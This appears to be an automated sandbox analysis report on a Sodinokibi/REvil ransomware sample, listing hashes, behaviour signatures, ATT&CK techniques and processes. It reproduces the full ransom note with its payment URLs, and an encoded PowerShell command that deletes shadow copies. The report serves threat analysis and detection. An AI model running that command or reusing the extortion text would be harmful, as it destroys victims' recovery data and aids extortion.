Overview

overview

10

Static

static

10

58cf92a674...ac.exe

windows7_x64

10

58cf92a674...ac.exe

windows10_x64

10

Analysis

  • max time kernel
    168s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 02:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    58cf92a67428816faa2f2ff2778ecfd8b129deb94b1a2ef1cbb3c13f665ffdac.exe

  • Size

    165KB

  • MD5

    b6fcb19eb3bcbf3eaf16c7bf3f134d61

  • SHA1

    6211ba0a1160b344c1740654b636a8fdd775fbd8

  • SHA256

    58cf92a67428816faa2f2ff2778ecfd8b129deb94b1a2ef1cbb3c13f665ffdac

  • SHA512

    8f6ed156e2d55dabc35a6012f5bbc8ce0bc031c7430e814d21f0d6d8d2ccf53e6ae4408c604359e2e4a37ca830d9a61efdf9422e9f4f3183c7c466b00d2bd020

Score
10/10
sodinokibipersistenceransomware

Malware Config

Extracted

Path

C:\How to decrypt 3471c9-readme.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 3471c9. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5715AC98096B14C6 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/5715AC98096B14C6 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 1gceFxP/J4+T4ZmfYRWPMKv8HNzIOP6Cr5nxwj0C5y1FgQYoxAZxNLuT1e2oNkzn HojAZaWvBkgiMI9Uo/LtMylwRVU6UbTIEDL6myW6/CrUCaty7/mh18Z6f1H8fcNi FNGJYObpwAYb5iKDPYpco2w4VEmc5y481FQ8KNb99yi6dZTVOkEC7cFzRDtxPuBw VpEkS54acUbslocuLNwCU6Ec9DU8SY+CUFqihGvR9ZbchoTcSdvaBqQmbAauv8WM gLJ1SRNJ4pxXtuIA2iJN3YlHGzU2iaBJOjScznIArCFFfst0L07qdVVZmkEePjzz YfBCSs0rQ5dibqKKp+g1CDWZHGAu0eeXQWqRuik2OS055Cbbdj4C1crA+DuYkyvn xHBRebCbXAvgiBUkzBsCN9B/FCKVsTw37KcjRJHsgqU35PtMrC+hcKrsI9XM4Mpf nXD/lIF7vnBcEU1Vs0gkoXUZiyytNetZA2CeLv3ZHET3NGcmhBs0a1x0iGp5R31v Kxfi2FhhHrOJYSOHZDsUDhAOE3/4eLUBIg7yhgsDbjYWm6vQt5a/2hJ+bIz9C1Uo s2HcmIdCmuZxTSsrT920qDrU6ab2rJXa5X5Tth8ZDVXTh+wCX7oeOBxfxmttWYYy iO7STGOoTPlSp2zq4X+3/d2fgCJp2GHjdxmBMke97/pIxe12zKdc0TrqW2y7ae4k eahd52IdlvSgysLDxLEnaWmJKDwvkk1CWY84DZrz1GIIbQIJZtyUnrbPSb2omMu2 rQdkrRj+DD3K615ixFWsVWyOxdLjmOGdGU7d1lc+OFstZ8wMzlpEbP7K/07cg7ya xUUBSez+ZRRlCm/G1csmUozZugs9dy7w5XrLDBv3BzGDYgt95k2jWukZDh/36wCK R9sA149qlifB5lZa28gK9iE9BLo+MfB+mC6wqVWirVOEUNDofSqIEokdlHGKqdSQ Bjkfx1opgLH+qt5oU+dmco2Ax5DgIZLm2ye7BnRSoKJjjSRIEZJgMwytcGxc1f7U d3N4Ng4NZ52v12ZOQeOJ+6jupPvinYCvjKZaFaW1rGQ3IfKUPerlDU1FOT2PzhVe JL1e0nWQ50TO5/Y/63H0I8UQYZThK+kcJI00Gz2UiypmszU/DkWVVhLeI+Q= Extension name: 3471c9 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/5715AC98096B14C6

http://decryptor.top/5715AC98096B14C6

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 12 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\58cf92a67428816faa2f2ff2778ecfd8b129deb94b1a2ef1cbb3c13f665ffdac.exe
    "C:\Users\Admin\AppData\Local\Temp\58cf92a67428816faa2f2ff2778ecfd8b129deb94b1a2ef1cbb3c13f665ffdac.exe"
    1⤵
    • Modifies extensions of user files
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1576
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1152
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3800

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1576-123-0x000001FD567D0000-0x000001FD567F2000-memory.dmp
      Filesize

      136KB

      Download
    • memory/1576-127-0x000001FD56980000-0x000001FD569F6000-memory.dmp
      Filesize

      472KB

      Download
    • memory/1576-134-0x000001FD3C6A0000-0x000001FD547D0000-memory.dmp
      Filesize

      385.2MB

      Download
    • memory/1576-135-0x000001FD3C6A0000-0x000001FD547D0000-memory.dmp
      Filesize

      385.2MB

      Download